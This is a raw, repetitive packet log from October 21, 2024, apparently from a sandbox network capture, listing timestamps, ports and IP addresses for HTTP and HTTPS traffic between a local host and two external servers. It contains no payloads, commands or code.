Oct 21, 2024 10:47:18.577548981 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.577558994 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.577577114 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.577586889 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.577595949 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.577606916 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.577617884 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.577629089 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.577639103 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.577649117 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.577668905 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.577680111 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.577689886 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.577697992 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.577708006 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.577727079 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.577737093 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.577749014 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.577800035 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.577811956 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.577822924 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.577832937 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.577843904 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.577878952 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.577889919 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.577899933 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.577910900 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.577920914 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.577929974 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.578784943 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.578906059 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.578917027 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.578927040 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.578937054 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.578948021 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.578959942 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.579014063 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.579024076 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.579032898 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.579046011 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.579056025 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.579066038 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.579076052 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.579088926 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.579098940 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.579160929 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.579171896 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.579181910 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.579193115 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.579204082 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.579214096 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.579224110 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.579232931 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.579248905 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.579257965 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.579268932 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.579277992 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.579348087 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.579358101 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.579368114 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.579377890 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.579392910 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.579404116 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.579415083 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.579426050 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.579436064 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.579452991 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.579463005 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.579471111 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.579480886 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.579490900 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.579503059 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.579513073 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.579524994 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.579535961 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.579545975 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.579555035 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.579566002 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.579576969 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.579586983 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.581517935 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.581542015 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.581558943 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.581568956 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.581579924 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.581589937 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.581598043 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.581614017 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.581624031 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.581634045 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.581646919 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.581655979 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.581665993 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.581676960 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.581686974 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.581696987 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.581707001 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.581716061 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.581728935 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.581737995 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.581748009 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.581758022 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.584307909 CEST	49914	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:18.584333897 CEST	49914	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:18.584356070 CEST	49914	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:18.584376097 CEST	49914	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:18.584414959 CEST	49914	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:18.584681988 CEST	49914	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:18.584850073 CEST	49914	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:18.584871054 CEST	49914	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:18.584997892 CEST	49914	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:18.585022926 CEST	49914	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:18.585046053 CEST	49914	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:18.585156918 CEST	49914	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:18.585180998 CEST	49914	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:18.585195065 CEST	49914	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:18.585295916 CEST	49914	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:18.585319042 CEST	49914	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:18.585335016 CEST	49914	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:18.585434914 CEST	49914	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:18.585458994 CEST	49914	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:18.585478067 CEST	49914	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:18.685949087 CEST	443	49920	172.67.206.204	192.168.2.4
Oct 21, 2024 10:47:18.685983896 CEST	443	49920	172.67.206.204	192.168.2.4
Oct 21, 2024 10:47:18.686018944 CEST	443	49920	172.67.206.204	192.168.2.4
Oct 21, 2024 10:47:18.686031103 CEST	49920	443	192.168.2.4	172.67.206.204
Oct 21, 2024 10:47:18.686045885 CEST	443	49920	172.67.206.204	192.168.2.4
Oct 21, 2024 10:47:18.686122894 CEST	443	49920	172.67.206.204	192.168.2.4
Oct 21, 2024 10:47:18.686260939 CEST	49920	443	192.168.2.4	172.67.206.204
Oct 21, 2024 10:47:18.686439037 CEST	49920	443	192.168.2.4	172.67.206.204
Oct 21, 2024 10:47:18.686453104 CEST	443	49920	172.67.206.204	192.168.2.4
Oct 21, 2024 10:47:18.686467886 CEST	49920	443	192.168.2.4	172.67.206.204
Oct 21, 2024 10:47:18.686471939 CEST	443	49920	172.67.206.204	192.168.2.4
Oct 21, 2024 10:47:18.790534019 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.790550947 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.791702032 CEST	49914	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:18.850661993 CEST	49926	443	192.168.2.4	172.67.206.204
Oct 21, 2024 10:47:18.850713968 CEST	443	49926	172.67.206.204	192.168.2.4
Oct 21, 2024 10:47:18.850801945 CEST	49926	443	192.168.2.4	172.67.206.204
Oct 21, 2024 10:47:18.851095915 CEST	49926	443	192.168.2.4	172.67.206.204
Oct 21, 2024 10:47:18.851108074 CEST	443	49926	172.67.206.204	192.168.2.4
Oct 21, 2024 10:47:18.901946068 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.901959896 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.901969910 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.902019978 CEST	49914	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:18.902067900 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.902071953 CEST	49914	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:18.902077913 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.902086973 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.902096033 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.902105093 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.902117968 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.902120113 CEST	49914	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:18.902167082 CEST	49914	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:18.902195930 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.902198076 CEST	49914	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:18.902209997 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.902220011 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.902229071 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.902245998 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.902251005 CEST	49914	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:18.902255058 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.902265072 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.902278900 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.902290106 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.902306080 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.902316093 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.902323961 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.902335882 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.902344942 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.902354002 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.902363062 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.902370930 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.902380943 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.902391911 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.902401924 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.902439117 CEST	49914	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:18.902472973 CEST	49914	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:18.902484894 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.902499914 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.902515888 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.902525902 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.902534962 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.902544975 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.902563095 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.902571917 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.902600050 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.902607918 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.902616024 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.902625084 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.902635098 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.902643919 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.902652025 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.902661085 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.902663946 CEST	49914	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:18.902671099 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.902682066 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.902690887 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.902699947 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.902751923 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.902770042 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.902780056 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.902790070 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.902800083 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.902808905 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.902820110 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.902828932 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.902839899 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.902848959 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.902858973 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.902868032 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.902888060 CEST	49914	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:18.902909040 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.902914047 CEST	49914	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:18.902920008 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.902930021 CEST	49914	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:18.902931929 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.902947903 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.902956963 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.902964115 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.902972937 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.902981997 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.902991056 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.903000116 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.903008938 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.903017044 CEST	49914	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:18.903019905 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.903037071 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.903039932 CEST	49914	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:18.903048992 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.903058052 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.903062105 CEST	49914	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:18.903069019 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.903076887 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.903116941 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.903126955 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.903129101 CEST	49914	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:18.903135061 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.903146029 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.903155088 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.903162956 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.903172016 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.903179884 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.903188944 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.903198004 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.903219938 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.903234959 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.903244972 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.903247118 CEST	49914	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:18.903254986 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.903259993 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.903269053 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.903270006 CEST	49914	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:18.903279066 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.903289080 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.903295994 CEST	49914	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:18.903297901 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.903309107 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.903325081 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.903340101 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.903350115 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.903358936 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.903367996 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.903377056 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.903377056 CEST	49914	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:18.903394938 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.903403997 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.903409004 CEST	49914	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:18.903414965 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.903423071 CEST	49914	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:18.903460979 CEST	49914	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:18.903475046 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.903485060 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.903492928 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.903501987 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.903511047 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.903520107 CEST	49914	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:18.903521061 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.903529882 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.903538942 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.903548002 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.903551102 CEST	49914	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:18.903554916 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.903564930 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.903568983 CEST	49914	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:18.903595924 CEST	49914	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:18.903604984 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.903616905 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.903625011 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.903635025 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.903645039 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.903647900 CEST	49914	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:18.903655052 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.903665066 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.903673887 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.903676987 CEST	49914	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:18.903691053 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.903697014 CEST	49914	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:18.903702021 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.903713942 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.903718948 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.903718948 CEST	49914	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:18.903728962 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.903738022 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.903747082 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.903755903 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.903768063 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.903784990 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.903795004 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.903803110 CEST	49914	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:18.903803110 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.903812885 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.903821945 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.903831959 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.903842926 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.903935909 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.903944969 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.903954029 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.903961897 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.903970957 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.903980970 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.903987885 CEST	49914	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:18.903990030 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.904000998 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.904006958 CEST	49914	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:18.904010057 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.904016972 CEST	49914	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:18.904021025 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.904030085 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.904088020 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.904098988 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.904099941 CEST	49914	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:18.904103994 CEST	80	49914	185.215.113.16	192.168.2.4
